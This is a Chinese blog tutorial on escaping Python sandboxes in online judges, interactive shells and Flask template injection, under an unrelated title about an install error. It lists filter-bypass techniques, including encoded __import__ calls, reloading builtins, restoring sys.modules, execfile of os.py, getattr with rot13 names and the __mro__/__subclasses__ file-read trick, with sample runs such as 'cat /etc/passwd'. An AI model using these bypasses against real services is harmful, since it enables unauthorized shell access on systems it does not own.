python安装报错ox000007b_Python沙箱逃逸的n种姿势
Python的沙箱逃逸是一些OJ,Quantor網站滲透測試的重要渠道,本篇文章主要從一些語言特性和一些技巧上來講解python的一些元知識以及如何突破限制達到我們滲透的目的
0x00 python沙箱逃逸概述
沙箱逃逸,就是在給我們的一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程
對于python的沙箱逃逸而言,我們來實現目的的最終想法有以下幾個
使用os包中的popen,system兩個函數來直接執行shell
使用commands模塊中的方法
使用subprocess
使用寫文件到指定位置,再使用其他輔助手段
總體來說,我們使用以下幾個函數,就可以直接愉快的拿到shell啦!
import os
import subprocess
import commands
# 直接輸入shell命令,以ifconfig舉例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
但是,可以確定的是,防御者是不會這么輕易的讓我們直接拿到shell的,肯定會有各種過濾,對代碼進行各種各樣的檢查,來阻止可能的進攻
防御者會怎么做呢
0x01 import相關的基礎
對于防御者來說,最基礎的思路,就是對代碼的內容進行檢查
最常見的方法呢,就是禁止引入敏感的包
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception
用以上的幾行代碼,就可以簡單的完成對于敏感的包的檢測
我們知道,要執行shell命令,必須引入 os/commands/subprocess這幾個包,
對于攻擊者來說,改如何繞過呢,必須使用其他的引入方式
import 關鍵字
__import__函數
importlib庫
import 是一個關鍵字,因此,包的名字是直接以 'tag'(標記)的方式引入的,但是對于函數和包來說,引入的包的名字就是他們的參數,也就是說,將會以字符串的方式引入
我們可以對原始關鍵字做出種種處理來bypass掉源碼掃描
以__import__函數舉例
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')
enp9s0: flags=4099 mtu 1500
ether f0:xx:1c:xx:xx:71 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1 (Local Loopback)
RX packets 822 bytes 735401 (718.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 822 bytes 735401 (718.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
可以看到,成功的執行了命令
或者使用importlib 這一個庫
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')
將獲得同樣的效果
0x02 import進階
在python中,我們知道,不用引入直接使用的內置函數稱為 builtin 函數,隨著__builtin__這一個module 自動被引入到環境中
(在python3.x 版本中,__builtin__變成了builtins,而且需要引入)
因此,open(),int(),chr()這些函數,就相當于
__builtin__.open()
__builtin__.int()
__builtin__.chr()
如果我們把這些函數從__builtin__中刪除,那么就不能夠再直接使用了
In [6]: del __builtin__.chr
In [7]: chr(1)
---------------------------------------------------------------------------
NameError Traceback (most recent call last)
in ()
----> 1 chr(1)
NameError: name 'chr' is not defined
同樣,剛才的__import__函數,同樣也是一個builtin函數,同樣,常用的危險函數eval,exec,execfile也是__builtin__的,因此只要從__builtin__中刪除這些東西,那么就不能再去使用了
但是攻擊者豈能善罷甘休,必然會找出各種繞過的方式,這種防御,我們該如何去繞過呢?
我們知道,__builtin__是一個默認引入的module
對于模塊,有一個函數reload用于重新從文件系統中的代碼來載入模塊
因此我們只需要
reload(__builtin__)
就可以重新得到完整的__builtin__模塊了
**但是,reload也是__builtin__下面的函數,如果直接把它干掉,就沒辦法重新引入了
In [8]: del __builtin__.reload
In [9]: reload
---------------------------------------------------------------------------
NameError Traceback (most recent call last)
in ()
----> 1 reload
NameError: name 'reload' is not defined
這個時候,我們該怎么呢
在python中,有一個模塊叫做imp,是有關引入的一個模塊
我們可以使用
import imp
imp.reload(__builtin__)
然后我們就會重新得到完整的__builtin__模塊了
0x03 import高級
前面的一些防護和攻擊,都是針對 引入函數進行的,然而,徹底想想這個關于import的問題,我們能引入進來一個包,說明這個包已經預先在一個位置了,所以我們才能引入進來,否則就會像沒有安裝這個包的時候,報一個未找到的錯誤
如果我們從某個地方徹底把這個包刪除,那就可以禁止了引入
那么,包的內容被存放在哪里呢?
我們知道,通過pip安裝的package都會被放在以下幾個路徑之一,以2.7為例
/usr/local/lib/python2.7/dist-packages
/usr/local/lib/python2.7/site-packages
~/.local/lib/python2.7/site-packages
一般系統相關的包都在sys下,環境變量或者說系統路徑肯定也是在下面.
我們可以看到sys下面有一個list叫做path,查看里面的內容,果然是默認路徑
In [8]: sys.path
Out[8]:
['',
'/usr/local/bin',
'/usr/lib/python2.7',
'/usr/lib/python2.7/plat-x86_64-linux-gnu',
'/usr/lib/python2.7/lib-tk',
'/usr/lib/python2.7/lib-old',
'/usr/lib/python2.7/lib-dynload',
'/home/centurio/.local/lib/python2.7/site-packages',
'/usr/local/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages/gtk-2.0',
'/usr/lib/python2.7/dist-packages/IPython/extensions']
我們還可以看到,sys下面有一個modules,看一下這個
{'copy_reg': , 'sre_compile': , '_sre': , 'encodings': , 'site': , '__builtin__': , 'sysconfig': , 'encodings.encodings': None, '__main__': , 'ruamel': , 'abc': , 'posixpath': , '_weakrefset': , 'errno': , 'encodings.codecs': None, 'sre_constants': , 're': , '_abcoll': , 'types': , '_codecs': , 'encodings.__builtin__': None, '_warnings': , 'genericpath': , 'stat': , 'zipimport': , '_sysconfigdata': , 'mpl_toolkits': , 'warnings': , 'UserDict': , 'encodings.utf_8': , 'sys': , 'codecs': , 'readline': , '_sysconfigdata_nd': , 'os.path': , 'phply': , '_locale': , 'sitecustomize': , 'signal': , 'traceback': , 'linecache': , 'posix': , 'encodings.aliases': , 'exceptions': , 'sre_parse': , 'os': , '_weakref': }
果然,這個就是我們要找的東西了,接下來,我們對sys.modules做一些改動,看看還能否引入
>>> sys.modules['os']=None
>>> import os
Traceback (most recent call last):
File "", line 1, in
ImportError: No module named os
>>> __import__('os')
Traceback (most recent call last):
File "", line 1, in
ImportError: No module named os
>>> import importlib
>>> importlib.import_module('os')
Traceback (most recent call last):
File "", line 1, in
File "importlib/__init__.py", line 37, in import_module
__import__(name)
ImportError: No module named os
果然如我們所料,將os從sys.modules中刪掉之后,就不能再引入了
那攻擊者該如何應對呢?
Python import 的步驟
python 所有加載的模塊信息都存放在 sys.modules 結構中,當 import 一個模塊時,會按如下步驟來進行
如果是 import A,檢查 sys.modules 中是否已經有 A,如果有則不加載,如果沒有則為 A 創建 module 對象,并加載 A
如果是 from A import B,先為 A 創建 module 對象,再解析A,從中尋找B并填充到 A 的 dict 中
見招拆招,你刪掉了,我加回來就是了,如果sys.modules中不存在,那么會自動加載,我們把路徑字符串放進去試一試?
在所有的類unix系統中,Python的os模塊的路徑幾乎都是/usr/lib/python2.7/os.py中
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
果然,我們親愛的os又回來了!
0x04 有關 import 的更騷的操作
對于0x03中的繞過方法,防御者有什么辦法呢
添加module的過程中,是需要用到sys模塊的 ,如果我們把sys,os,reload全部干掉,那就無論如何也再無法引入了
這個時候,還有辦法bypass掉防御嗎?
有的!
我們知道,引入模塊的過程,其實總體來說就是把對應模塊的代碼執行一遍的過程
禁止了引入,我們還是可以執行的,我們知道了對應的路徑,我們就可以執行相應的代碼
嘗試一下:
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'
可以看到,成功了!
os的所有函數都被直接引入到了環境中,直接執行就可以了
如果execfile函數被禁止,那么還可以使用文件操作打開相應文件然后讀入,使用exec來執行代碼就可以
還有防御的辦法嗎?
如果防御者一不做二不休直接從文件系統中把相應的包的代碼刪掉,那無論如何既不能引入也不能執行了
然而,對于其他模塊,我們還可以手動復制代碼直接執行,但是對于類似于 os,sys這樣的模塊,使用了c模塊,使用posix或者nt module來實現,而不是純python代碼,那就沒有太多的辦法了
但是總體來說,直接從文件系統中干掉這些關鍵的包是一個很危險的行為,可能導致依賴于這些包的其他包的崩潰,而事實上,大量的模組都使用了類似于 os,sys這些模塊,因此,是需要非常謹慎的.
0x05 dir 與 __dict__
這兩種方法都是一個目的,那就是列出一個模組/類/對象 下面 所有的屬性和函數
這在沙盒逃逸中是很有用的,可以找到隱藏在其中的一些東西
>>> A.__dict__
mappingproxy({'b': 'asdas', '__dict__': , 'a': 1, '__doc__': None, '__weakref__': , 'c': , '__module__': '__main__'})
>>> dir(A)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a', 'b', 'c']
0x05 關于字符串掃描過濾的通用繞過方法
如果過濾的內容是一個dict的key,我們可以用字符串操作,先把他rot13或者base64或者單純的reverse一下再進去就可以,舉個例子
# 假設要讀取 a的time屬性 : a['time'] ,但是代碼中的time字符串全部被過濾了
s = "emit"
s = s [::-1]
print a[s]
即可
但是 ,如果不是鍵的字符串被過濾了,而是一個關鍵字或者函數被過濾了呢,比如說,我們已經通過上面的手法,引入了os包,但是代碼掃描之中,遇到system或者popen的就直接過濾了,這時候該怎么辦呢 關鍵詞和函數沒有辦法直接用字符串相關的編碼或者解密操作,那么.該怎么辦呢?
這個時候,就可以利用一個很特殊的函數:getattr
這個函數接受兩個參數,一個模組或者對象,第二個是一個字符串,該函數會在模組或者對象下面的域內搜索有沒有對應的函數或者屬性
>>> import codecs
>>> getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
enp9s0: flags=4099 mtu 1500
ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet)
RX packets 168876 bytes 213748060 (203.8 MiB)
RX errors 0 dropped 538 overruns 0 frame 0
TX packets 126938 bytes 14769612 (14.0 MiB)
TX errors 0 dropped 1 overruns 0 carrier 0 collisions 0
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1 (Local Loopback)
RX packets 38391 bytes 17726297 (16.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38391 bytes 17726297 (16.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
0x06 獲得本域或者模塊的引用和全部內容
在上面的一個例子中,引入sys然后從sys.modules中清除敏感包的時候,如果沒有做善后工作,很可能就讓sys,os或者其他的敏感信息作為一個模塊留在了當前域的環境變量中,也可能有其他的東西,但我們去如何發現這些東西呢?
我們可以利用dir或者dict屬性去獲得一個模塊,類的所有屬性,但是當前環境的已定義的函數又從哪找呢
我們知道,使用python直接執行的模塊是__main__模塊,使用__name__屬性也可以知道(if __name__ == __main__'),但是__name__中獲得的只是一個字符串,并不是一個模塊的引用,那么我們從哪去找本模塊的引用呢?
注意,本模塊,它也是一個模塊,因此想到我們的老朋友sys.modules
可以通過sys.modules[__name__]
>>> main_module = sys.modules[__name__]
>>> dir(main_module)
['A', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'codecs', 'fuck', 'inspect', 'main_module', 'os', 'reprlib', 'sys', 'this']
可以看到已定義的全部的函數和變量,已經引入的模塊和類
0x07 func_code 相關
一個系統中的包(自帶的和通過pip,ea可以使用easy_install安裝的),可以使用inspect模塊中的方法可以獲取其源碼
但是,如果是項目中的函數,一旦加載到了內存之中,就不再以源碼的形式存在了,而是以字節碼的形式存在了,如果我們想要知道這些函數中的一些細節怎么辦呢?這個時候就需要用到函數中的一個特殊屬性:func_code
(其實,函數中有很多以func_ 開頭的屬性,都有著奇妙的用處,在此處就不過多介紹了)
In [21]: def f3ck(asd):
...: a = 1
...: b = "asdasd"
...: c= ["asd",1,None,{'1':2}]
...:
In [22]: f3ck.func_code
Out[22]: ", line 1>
我們定義了一個函數,然后查看它的func_code屬性,發現 它的類型是 code object ,也就是代碼對象
這個對象中有什么呢
In [23]: dir(f3ck.func_code)
Out[23]:
['__class__', '__cmp__', '__delattr__','__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__','__le__','__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__','__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount','co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno','co_flags','co_freevars', 'co_lnotab','co_name', 'co_names', 'co_nlocals','co_stacksize', 'co_varnames']
其中
In [24]: f3ck.func_code.co_argcount
Out[24]: 1
In [26]: f3ck.func_code.co_consts
Out[26]: (None, 1, 'asdasd', 'asd', 2, '1')
可以看到,函數中直接賦值的變量都在 co_consts屬性中
而co_code中則是python bytecode
使用dis.dis可以將co_code中的字節碼轉化成可閱讀的匯編格式字節碼,
In [30]: import dis
In [31]: dis.dis(f3ck.func_code.co_code)
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 1 (1)
18 LOAD_CONST 0 (0)
21 BUILD_MAP 1
24 LOAD_CONST 4 (4)
27 LOAD_CONST 5 (5)
30 STORE_MAP
31 BUILD_LIST 4
34 STORE_FAST 3 (3)
37 LOAD_CONST 0 (0)
40 RETURN_VALUE
至于閱讀python字節碼,那又是一個大坑了0.0,再次不多提,只是說一下它的獲取途徑
0x08 mro相關的操作
mro是什么呢?
首先,我們要理解python的繼承機制,與java等語言不同,python允許多重繼承,也就是有多個父類
mro方法就是這個類型所繼承的父類的列表
In [52]: 1..__class__.__mro__
Out[52]: (float, object)
In [53]: "".__class__.__mro__
Out[53]: (str, basestring, object)
(注意是類型,而不是類型的實例)
通過這種方法,我們可以得到一些類型的對象,這個對于一些限制極嚴的情況下有很大的用處,
比如說open以及其他文件操作的函數和類型被過濾了的情況下我們可以使用如下的方法來打開文件
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
比如說jinja2的模板中,環境變量中的很多builtin的類型是沒有的,就可以用綁定的變量的mro特性做很多事情
0x08 有關python中的偽Private屬性和函數
在java,c++等其他一些面向對象的語言中,有著嚴格的訪問權限控制,Private函數是不可能在域外訪問的.
python中也有著類似的機制:
在一個類中,以雙下劃線開頭的函數和屬性是Private的,但是這種Private并不是真正的,而只是形式上的,用于告訴程序員,這個函數不應該在本類之外的地方進行訪問,而是否遵守則取決于程序員的實現
In [85]: class A():
...: __a = 1
...: b = 2
...: def __c(self):
...: print "asd"
...: def d(self):
...: print 'dsa'
...:
In [86]: A
Out[86]:
In [87]: dir(A)
Out[87]: ['_A__a', '_A__c', '__doc__', '__module__', 'b', 'd']
我們定義了一個private 屬性和一個private的函數,從dir的結果,可以看出來,公有的函數和屬性,使用其名字直接進行訪問,而私有的屬性和函數,使用 下劃線+類名+函數名訪問即可
0x09 常見的實戰應用場景
直接的代碼環境
常見的就是各種提供在線代碼運行的網站,還有一些虛擬環境,以及一些編程練習網站,這種來說一般過濾較少,很容易滲透,但是getshell之后會相當麻煩,大多數情況下這類網站的虛擬機不僅與物理系統做了隔離還刪除了很多內網滲透時實用的工具比如ifconfig之類的,后滲透工作相當的費工夫
提供的python交互式shell
這種情況較為少見,但是總體來說根據業務場景的不同一般會做很多的限制,但總體來說還是比較容易突破防御的
SSTI
SSTI的情況下,模板的解析就是在一個被限制的環境中的
在flask框架動態拼接模板的時候,使用沙盒逃逸是及其致命的,flask一般直接部署在物理機器上面,getshell可以拿到很大的權限.
總結
以上是生活随笔為你收集整理的python安装报错ox000007b_Python沙箱逃逸的n种姿势的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql安装check require
- 下一篇: 二进制图片在http怎么显示_HTTP/